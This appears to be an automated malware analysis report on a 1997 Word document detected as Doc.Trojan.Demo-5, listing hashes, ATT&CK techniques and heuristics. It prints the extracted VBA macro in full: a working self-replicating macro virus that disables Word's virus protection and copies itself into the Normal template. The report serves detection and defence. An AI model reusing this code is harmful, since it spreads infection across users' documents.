Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40811a24426f739a…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-07-08 11:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ae4631e8d2a8c12a08db3ce72a6e78dd SHA-1: acbd416d0c20d184b4dd637901c8025292708483 SHA-256: 40811a24426f739abf792129a6f2d595da021e1415c7328105b9fc68a7bb5f49
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to copy its own code into the Normal template, which is a common technique for establishing persistence. The ClamAV detection of 'Doc.Trojan.Demo-5' further supports its malicious nature. While the exact payload is not evident, the persistence mechanism is clear.

Heuristics 3

  • ClamAV: Doc.Trojan.Demo-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Demo-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 862 bytes
SHA-256: dd93db1d1ba14d0b418cfb54ae4cf2e7bc28175f8265209f4b29912bab02052d
Detection
ClamAV: Doc.Trojan.Demo-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<Demo>
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Set AD = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule
Set NT = NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule
If NT.Lines(1, 1) <> "'<Demo>" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
If AD.Lines(1, 1) <> "'<Demo>" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub